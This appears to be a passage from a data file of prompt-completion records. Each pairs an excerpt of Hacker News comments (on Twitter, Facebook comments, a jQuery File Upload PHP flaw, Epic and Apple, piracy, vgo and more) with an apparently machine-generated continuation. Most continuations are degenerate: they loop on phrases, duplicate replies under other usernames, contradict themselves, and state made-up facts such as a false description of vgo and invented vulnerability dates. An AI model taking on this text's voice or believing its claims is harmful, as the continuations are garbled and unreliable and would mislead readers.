done):\n\n[https://web.archive.org/web/20160111044359/https://www.chris...](https://web.archive.org/web/20160111044359/https://www.chrispattle.com/blog/simpsons-\nin-css/)\n\n~~~\npattle\nThanks for the heads up, I've just removed those links for now. Wasn't\nexpecting anyone to come across them!\n\n~~~\nmelicerte\nStill, I remain interested to know how you did it :)\n\n~~~\npattle\nI just built the characters up using simple shapes that you can draw in CSS\n(e.g squares, circles) and layer them on top of each other.\n\nI guess an"} +{"output_text": "\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nI don't care about twitter. I don't care about TC. I don't care about\nanything.\n\nI don't care about the fact that I'm not on twitter. I don't care about the\nfact that I'm not on TC. I don't care about the fact that I'm not on\nMyYearbook.com.\n\nI don't care about", "input_text": " seems to be a bit more\npopular among the kiddes these days though.\n\n~~~\nlitewulf\nGeography plays a strong role as well. In the US AIM is super popular (until\nit was supplanted by gchat in my clique). European friends used to use ICQ\n(long ago), and I think MSN has been generally popular in Asia forever.\n\n------\nhuhtenberg\nFeel free to downmod, but\n\n \n \n (TC + Twitter) = (Don't Care)\n \n\nI would rather have Arrington to own shares of some Erlang product company. At\nthe very least this wave of forced publicity would've been more relevant to\nHN.\n\n~~~\ntlrobinson\nHN member complaining about how they don't care about TechCrunch and/or\nTwitter = don't care.\n\nSeriously, every submission about Twitter has a comment like this. Move on.\n\n------\nfoulmouthboy\nI'm so glad somebody actually did some research into this. The original\n\"study\" of one 15 year old Morgan Stanley intern (writing about his circle of\nfriends) should never have been taken as seriously as it was.\n\n~~~\nSamAtt\nI'm not sure this should be taken much more seriously. This is a survey of\nMyYearbook.com users which right there makes it more biased towards those who\nwould use a service like Twitter. Beyond that we have no real idea of how the\nnumbers break down.\n\nThey give some statistics on their user demographics at the end of the post\nbut they seem irrelevant to me. Since they're a service geared exclusively to\nteens with 3.2 million or so uniques per month (according to compete) yet the\nsurvey only got 20,000 results."} +{"output_text": "'t').\n\n------\nmikeleeorg\nWe've been using Facebook comments for a few months now, and we've been\nimpressed with the quality of the comments. We've had a few trolls, but they\nhaven't been too bad.\n\nWe've also been impressed with the number of comments we've received. We\nhaven't had a single day where we didn't get more than 100 comments.\n\nWe've also been impressed with the number of people", "input_text": " quality comments - I prefer people voice their\nopinions without fear of repercussions. Obviously, this thinking is not\nappropriate for all cases - if you want product comments for example, by all\nmeans Facebook comments might provide the best type.\n\n~~~\nmikeleeorg\nFortunately, we haven't gotten any \"Yes man\" type discussions on our blog yet.\nMany of our most vocal commenters (who often state contrary opinions to ours)\ntook to the Facebook Comment system well, though we've lost a few too. So far,\nnone of the abusive trolls have come over yet.\n\nUnfortunately, I haven't seen the lively discussions we used to get when using\nLiveFyre. So there's definitely a trade-off. We're definitely not sold on\nFacebook Comments yet; it's just our most recent experiment.\n\n------\nderwiki\nWe use the Facebook comment widget on almost all the pages on Causes.com. Two\nquick comments:\n\n\\- When we run a corporate brand community (such as causes.com/att), our\nclients LOVE the number of and types of comments that people leave on the\npage. We've all been impressed with the quality of the comments as well.\n\n\\- Grammar filter\n([http://developers.facebook.com/docs/reference/plugins/commen...](http://developers.facebook.com/docs/reference/plugins/comments/)):\nadds punctuation (e.g. periods at the end of sentences), trims extra\nwhitespace, expands slang words (e.g. plz becomes please), adds a space after\npunctuation (e.g. Hi,Cat would become Hi, Cat), and fix common grammar\nmistakes (e.g. convert \u2018dont' to \u2018don"} +{"output_text": " files?\n\n~~~\nAssossa\nI'm not sure I understand your point.\n\nThe vulnerability was publicized in 2012, and the exploit was published in\n2013.\n\n~~~\njpic\nI'm not sure I understand your point.\n\nThe vulnerability was publicized in 2012, and the exploit was published in\n2013.\n\n------\njpic\nI'm curious as to how this could be a widely known exploit in the hacker\ncommunity, but no", "input_text": "\n\n~~~\nblueimp\nI agree with you that this would be the safer route. For a production file\nupload service, file uploads should ideally stored in a specialized blob\nstore, e.g. Amazon S3 or Google Cloud Storage.\n\nHowever the PHP code was written as easy-to-use sample code and I did not want\nto introduce a database as dependency and keeping the sanitized filename plus\nextension keeps the meta information intact.\n\nIf I had provided better information about how to securely configure the\nWebserver to allow all file types for upload, using the original - but\nsanitized - filenames would not be an issue.\n\n------\njohn37386\nSo this afect only apache? Anyone have any thoughts on nginx, IIS and other\nweb servers like tomcat, websphere?\n\n~~~\nblueimp\nPlease refer to the vulnerability documentation here to see if you are\naffected: [https://github.com/blueimp/jQuery-File-\nUpload/blob/master/VU...](https://github.com/blueimp/jQuery-File-\nUpload/blob/master/VULNERABILITIES.md#remote-code-execution-vulnerability-in-\nthe-php-component)\n\n------\nAssossa\nI'm curious as to how this could be a widely known exploit in the hacker\ncommunity, but no one reported it until 3 years after its publicity.\n\n~~~\njpic\nIt's not 3 years old, we've been exploiting it when we were 14 yr old trying\nto find server to host warez content, and has nothing to do with the plugin\nitself: it's all about apache's mod_php configuration: does it allow execution\nof php files that are in the directory where users upload"} +{"output_text": "\nI don't think that's what people are focusing on. They're focusing on the\n\"he's a doctor\" aspect of the title.\n\n~~~\njv22222\nI think you're right. I was just trying to be a little more descriptive.\n\n------\njv22222\nI think this is a great article.\n\nI think the author is right to point out that the pandemic is a perfect\nexample of how the world is changing.\n", "input_text": " it to do this yourself? Skimlinks is taking 25%, for this cut I'd\nthink about implementing it myself...\n\n------\nbillpatrianakos\nThis is much ado about nothing. Just fodder for bloggers. What Pinterest is\ndoing is legal and isn't unethical at all. They're not promoting their\naffiliate links over anything else and Skimlinks does not alter user posted\nlinks that are affiliate links to start with.\n\nPinterest is providing a service to its users and those users can choose to\nuse Pinterest or not. I would tell anyone upset about this \"tough luck, go\nsomewhere else\". If this were Google or Facebook there may be some reason to\nbe upset. But unlike Facebook or Google, Pinterest isn't a ubiquitous service\nthat's been adopted and deeply integrated into people's lives and way they\nwork. Right now is the time for Pinterest to do these sorts of things because\nthe more popular they get the harder it becomes.\n\n \nA Man Who Saw the Pandemic Coming - dnetesn\nhttp://nautil.us/issue/83/intelligence/the-man-who-saw-the-pandemic-coming\n======\njv22222\nPeople are focusing on the \"he saw it coming\" aspect of the title.\n\nI would encourage folks to read the article with an open mind as the \"he saw\nit coming\" is not really the point of most of what is said here.\n\nThis is is an expert who understands the realty of zoonotic spillover, and how\nit is going to become a more prevalent threat over time, and how to deal with\nthat threat.\n\n~~~\nchrisseaton\n> People are focusing on the \"he saw it coming\" aspect of the title.\n"} +{"output_text": "\n\n~~~\nspydertennis\nThanks for the feedback. We will definitely make sure that the first sentence\non the page is a clear and concise description of what the product does.\n\n------\njoshu\nI'm not sure I understand the appeal of this.\n\nI have a sleep tracker that I use to track my sleep. I don't need a bracelet\nto tell me when I'm in a light sleep.\n\n~~~\nspyder", "input_text": "#Sleep_s...](https://secure.wikimedia.org/wikipedia/en/wiki/Sleep#Sleep_stages))\n\n------\nanon-e-moose\nYour website needs to have a one sentence explanation of what it does, e.g.\nmeasure sleep and wake you up when you're in a light sleep. You pretty much\nhave to read the FAQ to figure out that's what it does. Not saying this makes\nit seem like a quack magnetic bracelet or something. Just a suggestion.\n\n~~~\nspydertennis\nWe made the assumption that the average purchaser would not be interested in\ndetails like what phase of sleep you are woken up in. That is why those\ndetails are provided, but not prominently displayed.\n\nThank you for your suggestion though.\n\n~~~\nreemrevnivek\nThe average purchaser is probably not interested in the details, but they are\nmost certainly interested in a sentence describing what it does.\n\nAll that I knew about it when I clicked the link and skimmed the page was: \\-\nThey're ready \\- I skipped some stuff about pre-orders \\- I might not be able\nto get one before Christmas \\- When you make them, they're all arranged in a\nbig tray, are charcoal and light blue \\- The manufacturing process somehow\ninvolves baking and cutting.\n\nI had to click in my url bar and type in \"wakemate.com\" before I got anything\nuseful. It's a fuzzy bracelet, it has something to do with waking you up and\nmaking you feel better, a few platforms like iPhone, some video I don't have\ntime for, and I finally read \"Wake up at the optimal time in your sleep\ncycle.\"\n\nThat sentence should be the first thing I read."} +{"output_text": " are not going to be happy about\nthis.\n\n~~~\nmattnewton\nI don\u2019t think it\u2019s going to backfire for Epic. They\u2019re going to get a lot of\nfree publicity from this.\n\n~~~\nteknopurge\nI think it will backfire for Epic. They are going to get a lot of free\npublicity from this.\n\n------\nmattnewton\nI\u2019m not sure how this is", "input_text": "writer\nSince there are alternative stores on Android (incluid Epic\u2019s own, which,\nIIRC, they used Fortnite exclusivity to launch), to which developers\ndemonstrably do resort if Google's pricing or other terms become unfavorable,\nthere's a lot weaker antitrust argument with Google Play.\n\n~~~\ndamnyou\nI use Android with alternate app stores everyday, so I'm intimately familiar\nwith the issues with them. The most prominent ongoing issue is that they can't\nauto-update apps the way Google's can. It's not a level playing field.\n\n------\nbaby-yoda\nthe enemy (aapl/goog) of my enemy (antitrust regulators) is my friend?\n\n~~~\nmarkus_zhang\nNo but you want them to fight at least\n\n------\nDatsundere\nThis is exactly what DHH fought over apple to get their app approved in the\nplay store. If you still think that having to pay 25% of your profit just to\nlist your product that you didn't even use their tools to make, then you're\ninsane.\n\n------\nscott31\nAs a Fortnite player, its time to buy an iPhone then\n\n~~~\ntveita\nYou might have missed some steps of this still developing story:\n[https://twitter.com/markgurman/status/1293984069722636288](https://twitter.com/markgurman/status/1293984069722636288)\n\n------\nlwansbrough\nCrazy number of boot lickers in these threads.\n\n------\nteknopurge\nThis is going to backfire for Epic. I see both sides, however, the App Stores\nhave overhead to support free apps, and they"} +{"output_text": " guide, that means we're going to have a\nsignificant amount of debt in the future.\n\n~~~\nNursie\nI'm not sure I agree with that.\n\nI think the idea that we're going to have a significant amount of debt in the\nfuture is a bit of a fallacy.\n\nWe're going to have a significant amount of debt in the future because we're\ngoing to have a significant amount of debt in the future.\n\nWe're", "input_text": " last year was the same price as a new\none this year, if we wait its for the last years model. We don't wait to buy\nfood until tomorrow because it might be cheaper. We don't wait to fill our gas\ntank until tomorrow, we have to get to work today. We don't wait until\ntomorrow to fill our prescriptions, we need them today. I don't wait to pay my\nelectric or cable bills, I need them today.\n\nWhere is it, who, exactly, does this hurt. Who will be sitting on their money,\nwaiting to buy things they need until tomorrow. Only people who already have\neverything they need, and even then they will continue to buy the basics. Who\ndoes this hurt. The roads will continue to be paved, the cities will continue\nto function. How does this all break down when a dollar today is worth a\ndollar and a fraction of a cent tomorrow.\n\nWe weren't all dying when gas was $1 a gallon were we?\n\n~~~\nNursie\nIt hurts everyone as the economy shrinks and there's less cash to go around.\n\nThat's who.\n\n~~~\nmsandford\n> It hurts everyone as the economy shrinks and there's less cash to go around.\n\nOnly until prices fall enough that people start spending again and hiring\npicks up again.\n\nThe idea of an evenly rotating economy where everything is great all the time\nhas been thoroughly disproven over 100 years ago. To try and manage the\neconomy to be so is a fool's errand.\n\nDebt has grown ever-so-slightly faster than income for the last 40-50 years\nand that means future purchases have been pulled to the present for the last\n40-50 years. If history is a"} +{"output_text": "\ncontainer is not running. This is a problem because it means that you need to\nhave a daemon running to do the container operations. However, if we switch to\na fork-exec model, then we can have a \"kpod\" binary that is only run when\nneeded.\n\n~~~\ncyphar\nI should also add that the RPC requirement is not a problem for the current\nimplementation of ocid. It's just that the RPC requirement is not", "input_text": " where routing, fabric and ip allocation gets muddled all up, when\nthere are well developed, stable, well tested independent and orthogonal\nalternatives for tunnelling and route propagation there's a serious level of\nNot Invented Here syndrome at work in many of the container projects. I'm sure\n_some_ people need all the complexity, but I'm getting more and more tempted\nto ditch many of the higher level tools in favour of composing smaller,\nsimpler tools.\n\n(Incidentally I'll make one prediction: one good thing likely to come from CRI\nis that I suspect it will lead to a new array of Kubernetes \"replacements\"\nfrom simpler composable tools; the APIs don't look all that bad - I just don't\nlike the RPC dependency)\n\n~~~\ncyphar\n> Do you have any more specific pointers regarding using it without a daemon?\n> As the examples seem to start with starting a daemon, unless I misunderstand\n> something\n\nAt the moment, the RPC requirement means that you need to have a process that\ncan accept RPC requests (a \"daemon\" if you like). However, unlike Docker (and\ncontainerd), ocid's lifetime is not tied to the lifetime of its containers --\nwhich is one of the main downsides of Docker/containerd IMO. So in principle\nyou could have ocid set up to only start up when kubelet is telling it to do\nanything. The real benefit of the design behind ocid is that _in the future_\nwe could switch to a fork-exec model with the kubelet and it would still work.\n\nFor example, currently kubernetes is adding a requirement for runtimes to\ninclude a \"kpod\" binary that can do container and image operations even if the"} +{"output_text": " hope this helps.\n\n------\njamesjguthrie\nI've been working on this for a while now. I've been trying to get into the\nhabit of working on my own projects. I've been trying to get into the habit of\nworking on my own projects.\n\nI've been trying to get into the habit of working on my own projects. I've\nbeen trying to get into the habit of working on my own projects.\n\nI've", "input_text": " down a tech job, I'm sure. I wish it were not so, it\nhas many negative side effects for me: anxiety, grumpiness, difficulty\nsleeping well. If you find a good motivator that isn't a drug, you will be way\nahead.\n\n------\nchanz\nIn my case, it helps to stick to habits. Habits that are device, cloths and\nlocation specific.\n\nThe biggest one is probably my computer at home. It only exists for gaming.\nWhen I'm inside my gaming room to enjoy a gaming session, nothing else gets\nclose to me and I forget about everything as soon I step into this room.\n\nAnother thing is, that I have cloths to relax, to go out and to go to work. As\nsoon I change into my plain white shirt with collar, my brain probably\nswitches to work mode.\n\nThe third is similar to the first habit. Going to work and being there is also\na'swtich' and I can concentrate.\n\nI was a freelancer too and I had a hard time to work at home. My computer was\nalways just a room away and just going in there for a'short' gaming session\nwas too easy.\n\nSo basically this is my advice: Go and buy a different computer than the one\nfor gaming, shower in the morning and change into your business attire. Leave\nthe house and go somewhere boring and quiet. The last part is the hardest\nsince everything gets interesting depending on how much you have to overcome\nyour habit. Your brain tries to fill your enjoyable habits with new enjoyable\nhabits, instead of the 'boring' work. This is probably why so many smoke - it\ncreates a enjoyable habit of doing 'nothing', which is better than working.\n\nI"} +{"output_text": "\n~~~\nmatt4077\nI don't think it's a shame.\n\nI think it's a good thing that Mozilla is not a monolith. It's a good thing\nthat they have a CEO who is not afraid to make unpopular decisions.\n\nI think it's a good thing that they have a CEO who is not afraid to make\nunpopular decisions.\n\nI think it's a good thing that they have a CEO who is not afraid to make\n", "input_text": "makng processes\nof regular people. Accounting for those that accelerate adoption most, the\ntech enthusiast community, sites like HN show Mozilla still has a (potentially\ngrowing) great deal of love from the decision makers that matter.. there is a\nstrong and still valid sheppard/sheep network effect in play here (the same\nthat originally caused Mozilla's 90s/00s popularity) and it's still far too\nearly to discount its value just yet.\n\n------\nunknownian\nThe comments on that site are sickening. Yes, I do not agree with Eich's\nviews. Mozilla owned up to it. Someone should tell them to disable JS\neverywhere because of Eich.\n\nPlus, Firefox is a community project with more momentum than almost any FOSS\nproject. It won't die.\n\nedit: read that in reverse\n\n~~~\ntatterdemalion\nThe comments I read took rather a different position I thought - that they\nbelieve people should not use Firefox because Mozilla \"fired\" Eich. Still a\nsickening position.\n\n~~~\nbrighteyes\nAt the time, Mozilla was savaged by both the far left and far right. Both\nsides called for boycotts.\n\nThe comments in this story appear to be from the right in this case. I guess\nthe left lost interest (not surprising since they got what they demanded, for\nEich to be removed - or maybe just leftists don't read that website).\n\n------\nalfiedotwtf\nThis is a shame - Browser Wars II...\n\nHaving any company have dominance (be it Microsoft, Apple, Google, whatever)\nis dangerous for the open web. I don't look forward to walled gardens again\nwhere \"This site only works with X\" becomes prevalent.\n"} +{"output_text": " administrator on the computer.\n\nThis is the most important part. If you're an administrator, you can drop\nanything you want.\n\n~~~\ngruez\n>If you're an administrator, you can drop anything you want.\n\nyou can drop anything you want, but you can't drop a file that's not on the\ncomputer.\n\n~~~\nwolrah\nYou can drop a file that's not on the computer, but you can't drop a file", "input_text": " name of the algorithm used.\n\n \nA Windows feature which can result in bypassing User Group Policy - miles\nhttps://medium.com/tenable-techblog/bypass-windows-10-user-group-policy-and-more-with-this-one-weird-trick-552d4bc5cc1b\n======\ngruez\n_yawn_ yet another case of an \"exploit\" that involves being other side of an\nairtight hatchway[1]. most/all of the important group policy settings are\nmachine, rather than user. the user group policy settings are mainly with\nappearance/styling.\n\nLet's go through each of the \"implications\".\n\n>Single File Code Execution\n\nIf you were able to drop that file, you're either that user, or an\nadministrator on the computer. If you're that user, you could also achieve\n\"single file code execution\" by dropping a file to the startup folder, or\ncreating an autorun registry key. If you are an administrator, you already own\nthe machine.\n\n>Antivirus/EDR Bypass\n\npossibly, although your payload would still have to get pass behavioral\nanalysis when it's executing.\n\n>Denial of Service\n\nyeah, but you can achieve the same thing by adding \"logoff\" as an autorun\nentry.\n\n[1]\n[https://devblogs.microsoft.com/oldnewthing/?p=100665](https://devblogs.microsoft.com/oldnewthing/?p=100665),\nor search for that term on the blog, there are multiple entries.\n\n~~~\nwolrah\n> If you were able to drop that file, you're either that user, or an\n>"} +{"output_text": ": a single radiation dose is similar in\nprinciple to one received from the environment.\n\nI don't know what you mean by \"similar in principle\".\n\n>His over-arching point is that we don't regard radiation doses in the\nhospital as scary, taboo and dangerous, and yet we regard any environmental\ndose as toxic and worth panicking over.\n\nI don't know what you mean by \"we regard any environmental dose as toxic and\nworth panicking", "input_text": " more months after radiation therapy is\nover. They vary by the part of your body that was treated and the dose of\nradiation you received. Late side effects may include infertility, joint\nproblems, lymphedema, mouth problems, and secondary cancer.\"\n\n~~~\nshadowsun7\nThat moron who wrote the article is a nuclear and medical physicist at the\nUniversity of Oxford.\n\nFrom the HN comment guidelines:\n\n \n \n When disagreeing, please reply to the argument instead of\n calling names. E.g. \"That is an idiotic thing to say; \n 1 + 1 is 2, not 3\" can be shortened to \"1 + 1 is 2, not 3.\"\n \n\nJudging from your comment history, you seem to enjoy calling names more than\nyou do providing arguments.\n\n~~~\nVladRussian\nyour post didn't provide any contra argument, instead you went for personal\nattack and \"karma-bombing\".\n\n~~~\nshadowsun7\nA counter-argument to what, exactly? You took a statement that he made,\nconcluded that he was a'moron who does not know what he's talk about', and\nthen backed that summary statement up with a lifted quote from cancer.gov that\nhad nothing to do to the original statement?\n\nAllison's statement is accurate: a _single_ radiation dose is similar in\nprinciple to one received from the environment. His over-arching point is that\nwe don't regard radiation doses in the hospital as scary, taboo and dangerous,\nand yet we regard _any_ environmental dose as toxic and worth panicking over.\nThe rest of the article lays down his arguments for this view.\n\n~~~\nVladRussian\n>Allison's statement is accurate"} +{"output_text": "'ve been using\nthe same keyboard for years and have never had to relearn how to type. I\nhaven't had to relearn how to type on a standard layout either, but I do have\nto relearn how to type on a staggered layout. I've been using a staggered\nlayout for years, but I had to relearn how to type on a standard layout.\n\nI'm not sure if I would recommend this keyboard to someone who is new to\ntyping,", "input_text": " are all easily reachable\nwithout changing the position of my hands. I also chose to program all the\nmodifier keys to work both as normal when held down and in a similar fashion\nto sticky keys when just tapped. For example, holding down shift and typing a\nletter works as normal, but hitting shift followed by a letter accomplishes\nthe same result, meaning that capital letters and punctuation don't really\ninterrupt the flow of typing or require chording.\n\nI also have rather resistive keyswitches (nominally 185g, ~170g in actuality)\nwhich was of ergonomic benefit to me. I wouldn't expect it to help most\npeople, but it helped me learn to type without bottoming out the switches.\nStarting out, the heavier springs caught me before reaching the bottom. Now I\ntype in a much gentler fashion, even if peak force is greater than on a\nstandard keyboard.\n\nMoving down to 48 keys can seem intimidating, but I adjusted rather quickly.\nIt only took me about a couple weeks to become comfortable with the layout\nchanges (staggered keys to a grid layout and Workman instead of QWERTY). I\nbelieve that part of the reason it was such an easy transition was because I\nchanged the layout whenever I had trouble adjusting to it. I had wanted to\nplace the underscore on the same key as F in a QWERTY layout to make typing\nsnake_case identifiers easier, but kept hitting the adjacent equals key\ninstead. I could have pushed through it, but I embraced what my brain clearly\nfelt was right whenever a similar thing happened and picked up the layout much\nquicker than I expected.\n\nAnother common concern is losing competence with a normal keyboard or standard\nlayout, but at least in my case that hasn't been an issue. I"} +{"output_text": "justinlilly\nI think you're right. I think the author is just trying to make a point about\nthe complexity of the problem.\n\n------\njimktrains2\nI'm not sure I understand the point of this post. It's a blog post about\nvgo, which is a tool to make it easier to use Go libraries in other languages.\n\n~~~\njustinlilly\nI think the point is that the author thinks that the complexity of", "input_text": " to run out _now_ and buy\nit.\n\nSince people aren't willing to do this it goes to show that the claims of the\nLisp junkies are just pipe dreams.\n\nIf programming on an all Lisp environment really was 10x more productive even\na ten thousand dollar price tag would be chicken feed.\n\nLisp fans like to talk it up about how great it is, but at the end of the day\nare unwilling to put their money where their mouths are.\n\n~~~\njustinlilly\nThis is only the case if productivity is your only concern. There are also\nconsiderations such as support, security, and familiarity.\n\n \nSemantic Import Versioning - SamWhited\nhttps://research.swtch.com/vgo-import\n======\ncalcifer\nFrom the \"Avoiding Singleton Problems\" section:\n\n> Another problem would be if there were two HTTP stacks in the program.\n> Clearly only one HTTP stack can listen on port 80; we wouldn't want half the\n> program registering handlers that will not be used. Go developers are\n> already running into problems like this due to vendoring inside vendored\n> packages.\n\nThis is only a problem if you allow nested vendor/ directories, which \"dep\"\n(you know, the \"official experiment\" that suddenly got discarded to the\nsurprise of its developers) doesn't have because it recurses through the\nentire dependency tree and reduces it to a single vendor/, just like many\n(most?) other languages.\n\nThe whole post reads like the author thinks Go has a very unique dependency\nmanagement problem that no other language ever had which somehow necessitates\na completely unorthodox solution. Three blog posts into \"vgo\", I still don't\nsee why...\n\n~~~\n"} +{"output_text": " of the things I\u2019m curious\nabout is how you trained the model. I\u2019m guessing you used a lot of\ncross-validation, but I\u2019m curious about the details.\n\n~~~\npsuter\nWe used a combination of cross-validation and a few tricks to get the model\nto converge. We used a small dataset (about 100 games) and a small number of\nfeatures (about 10). We used a simple linear model (no LSTM, no attention", "input_text": "\ninterprets the state of the board and passes it off to Stockfish to display\nmove suggestions in real time.\n\nWe didn\u2019t quite get to recording the state over time in PGN but we hope to\ncontinue this project and add that soon!\n\nWould love to know what you think. We\u2019re working on enhancing other board\ngames with computer vision as well; if you want to help us beta test sign up\nat [https://boardboss.com](https://boardboss.com)\n\nAlso I live tweeted about our progress during the hackathon so if you\u2019re\ninterested in how the sausage is made you can check out the blow-by-blow here:\n[https://threadreaderapp.com/thread/1179424684502388736.html](https://threadreaderapp.com/thread/1179424684502388736.html)\n\n~~~\npsuter\nCongrats! We tried something similar a few years ago (also at the TC Disrupt\nHackathon [1]), but had to take a lot of shortcuts to get to something\nworking. I'm impressed you had the time to train a proper model (we went with\nold school CV hacks).\n\nLooking forward to seeing what BoardBoss could become. These days I've been\nwanting a CV app to track backgammon games. Those dice can be pretty tiny\nthough :)\n\n[1]\n[https://devpost.com/software/chesseye](https://devpost.com/software/chesseye)\n\n~~~\nrocauc\nGreat minds! Love that you deployed to a Pi \u2013 I\u2019ve thought about the same to\ncomplement or replace smartphones.\n\nCan you shed some insight into your ML process? One"} +{"output_text": "\nis reactivated.\n\n~~~\njrockway\nI think the problem is that the average pirate is not a \"real\" pirate. They\nare just a person who wants to play a game, but doesn't want to pay for it.\nThey are not a \"real\" pirate because they are not going to pirate the game\nagain.\n\nThe real pirates are the people who pirate the game once, and then buy it\nagain. They are the ones who are", "input_text": " a little optimistic.\n\nOn the plus side, you can't possibly have a worse piracy problem with your\napplication than China does with everything, and you'll probably eventually do\nwhat Chinese software companies do: put the real meat on the server, let\neveryone have your client for free, and let the users who prefer to Own Their\nGames Instead Of Renting Them cry to themselves in the corner.\n\n~~~\nm_eiman\nI've read a few articles/posts about piracy rates, and it seems that a piracy\nrate of 90% is \"normal\", at least for PC titles. So to me it seems like piracy\non the iPhone is lower than it could have been, and a lot lower if it drops to\n50%. Still a problem, of course, but if Apple keep making it more complicated\nto jailbreak the hardware it might actually be moving towards 0%.\n\n------\njdg\nEh, this game is being pirated more than the average app.\n\nFrom what I heard at Greg Yardley (PinchMedia)'s talk at 360idev yesterday,\nthe average piracy rate is 34%. My personal experience with Boxcar lines up\nwith those numbers, along with a 0.056% conversion rate from pirated to paid.\nThe \"average\" there, again according to PinchMedia, is 0.043% or 1 in 233.\n\nThey're taking the right approach in that, well, the truth is if someone is\ngoing to pirate something then even if you try and dissuade them they'll just\nmove on to the next one. In my particular case, I send a push notification\nletting them know we've detected that they are using a pirated copy, and then\ndisable their account. If they purchase the legitimate version, their account"} +{"output_text": "k\nI think you're confusing the peak of software development with the peak of\nsoftware development productivity.\n\n~~~\nrayiner\nI'm not sure what you mean. The peak of software development productivity was\nin the mid 1980's.\n\n~~~\nsvachalek\nI'm not sure what you mean. The peak of software development productivity was\nin the mid 1980's.\n\n------\njoshu\nI'm not sure I'd call it a \"bug", "input_text": "\nC64, in a weird turn of events he had to resort to printing out screenshots of\nmemory dumps, run those through an OCR. But the OCR was buggy and he had to\ncheck every byte by hand.\n\n[http://www.ludumdare.com/compo/2013/04/29/ponkmortem/#more-2...](http://www.ludumdare.com/compo/2013/04/29/ponkmortem/#more-250547)\n\nReminded me a bit of this story..\n\n------\nverandaguy\nAs a relatively new (5 or so years experience) programmer, 1985 sounds like\nhell.\n\n~~~\nrayiner\nSoftware development basically peaked in the mid 1980's.\n\nMacintosh Common Lisp circa 1987:\n[http://basalgangster.macgui.com/RetroMacComputing/The_Long_V...](http://basalgangster.macgui.com/RetroMacComputing/The_Long_View/Entries/2013/2/17_Macintosh_Common_Lisp.html),\nspecifically:\n[http://basalgangster.macgui.com/RetroMacComputing/The_Long_V...](http://basalgangster.macgui.com/RetroMacComputing/The_Long_View/Entries/2013/2/17_Macintosh_Common_Lisp_files/inspect%20and%20describe.jpg)\n\nFirebug circa 2013: , specifically\n\n\n~~~\nsvachale"} +{"output_text": " errors\".\n\nThe Gell-Mann amnesia effect is a useful heuristic for spotting bullshit, but\nit's not a scientific theory.\n\n~~~\najross\nI'm not sure what you're trying to say. The article is about the media\nreporting on the media. It's not about the media reporting on the news.\n\n~~~\njdietrich\nThe article is about the media reporting on the media. It's not about the\nmedia reporting on", "input_text": "\nall after I said I will only answer some parts Off the record.\n\nMost often then not, the journalists already has a story when they come to\nyou. All they need is a quote of you saying what they already wrote.\n\n~~~\njacquesm\nThat's so dishonest it isn't even funny. I was interviewed a few years back\nbecause I built an - unreleased - search engine and the interviewer wanted me\nto say some particular stuff about Google. I refused and the interview\natmosphere was definitely very much different after that. There are plenty of\ngood journalists but there are also a bunch of them that are complete jerks\nthat fabricate stuff rather than report on reality.\n\n------\nbrownbat\nI especially liked the points about how often we vary our criticism of\njournalism based on the topic.\n\nReminded me a lot of Gell Mann amnesia, which I catch myself suffering from a\nlittle too often:\n\n[https://en.wikipedia.org/wiki/Gell-\nMann_amnesia_effect](https://en.wikipedia.org/wiki/Gell-Mann_amnesia_effect)\n\n~~~\najross\nThe Gell-Mann thing is dangerous pseudo science, stay away. It's not even\ninvented by a scientist. It's the excuse people go to to disbelieve something\nthey see in coverage, or to win arguments about \"the media\" or \"fake news\". If\nyou want to dismiss something as a falsehood, you have to do it with evidence,\nnot quips. This article is an excellent example.\n\n~~~\njdietrich\nThe Gell-Mann amnesia effect doesn't say \"all news is bunkum\", it says \"the\nnews media consistently make obvious"} +{"output_text": " to\ncreate a fake company to get around the TOW. They'll create a fake company\nwith a fake address and fake phone number. They'll even create a fake\ncontract with a fake signature.\n\nThe only way to get these people to stop is to TOW them.\n\n~~~\njessaustin\nI'm not sure I understand your point. If you have a company that is\nresponsible for parking enforcement, why would you need to create a fake\ncompany", "input_text": " to pay the parking ticket \u2014 no\nautomated machines. So we waited over an hour to pay our ticket. Time that we\nended up paying with our ticket (per hour parking). The cashier didn\u2019t want to\nrefund us for the waiting time. If the law doesn\u2019t require any standards\nrequiring waiting times \u2014 why would a parking operator ever be incentivized to\nhave an efficient checkout system? Especially if they are the only parking in\ntown. Anyways lots of sketchy consumer violations in this space.\n\n~~~\nhanniabu\nWhile I agree that's a hassle, I don't think this should result in a refund.\nIt's like ordering dinner, eating it, and then wanting a refund for the meal\nbecause you waited a long time for the meal.\n\n~~~\nppseafield\nI think the OP meant they were charged for the extra hour they spent waiting\nin line trying to exit.\n\n~~~\nhanniabu\nOh I see, thought that they didn't think they should pay just because there\nwas a long line to get out.\n\n------\nbredren\nMy SUS company, EasyALPR focuses on commercial parking enforcement / vehicle\ncontrol.\n\nFirst, the people who get \"in trouble\" are often absolutely brazen in their\nunfair use of common parking. They're warned multiple times and even when\ngiven a \"last chance\" notice they'll just keep breaking rules.\n\nAt that point you have to TOW them. And let me tell you, a TOW is something\nyou can't lampoon or get free internet off of. Towing SUCKS and drivers bend\nthe knee after this happens. I have data to prove it!\n\nAnyhow, another thing about these folks is that they will go so far as"} +{"output_text": "\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI've been in the industry for a long time and I've seen a lot of companies\nthat have been acquired and then shut down.\n\nI've also seen a lot of companies that have been acquired and then shut down\nand then re-acquired.\n\nI've seen a lot of companies that have been acquired and then shut down and\nthen re-acquired", "input_text": "path after all!\n\n~~~\nsqueaky-clean\nActually I just remembered an even more relevant funny story. One of the\nservices I maintain at my job is a list of airport locations and their names\nin various languages (for airlines to use) among other details. I get so many\nrequests to change things from airlines that don't understand basic geography\nor even where they fly.\n\nMy favorite is when a customer was raising hell because London International\nAirport (YXU) wasn't appearing under the city listing for London, UK and\ndemanding it be added immediately. I had to tell them you don't fly there...\nit's located in Canada.\n\n~~~\nPxtl\nHah. The Y prefix alone should've been a tip off. I don't know a darned thing\nabout air travel but I know Canada is stuck with the Y.\n\n~~~\nZombieball\nI think technically Canada is stuck with the \"C\" prefix (vs. \"K\" for USA) eg.\nCYVR, CYUL, CYXX\n\nWe also have airports with \"CZ\" (eg. CZBB).\n\nI am not sure what the difference (if any) between CZ vs. CY codes is.\nProbably just sticking with convention (begin with Y or Z because everyone\nelse does).\n\n~~~\nagrahul\nYes, the entirety of C is currently allocated to Canada[1]. The parent\ncomments were talking about IATA codes, though, which aren't allocated by\nprefix.\n\n[1]\n[https://en.wikipedia.org/wiki/International_Civil_Aviation_O...](https://en.wikipedia.org/wiki/International_Civil_Aviation_Organization_airport_code#Prefixes)\n"} +{"output_text": " of these are free, and some are paid.\n\n~~~\njoshu\nI'm not sure I 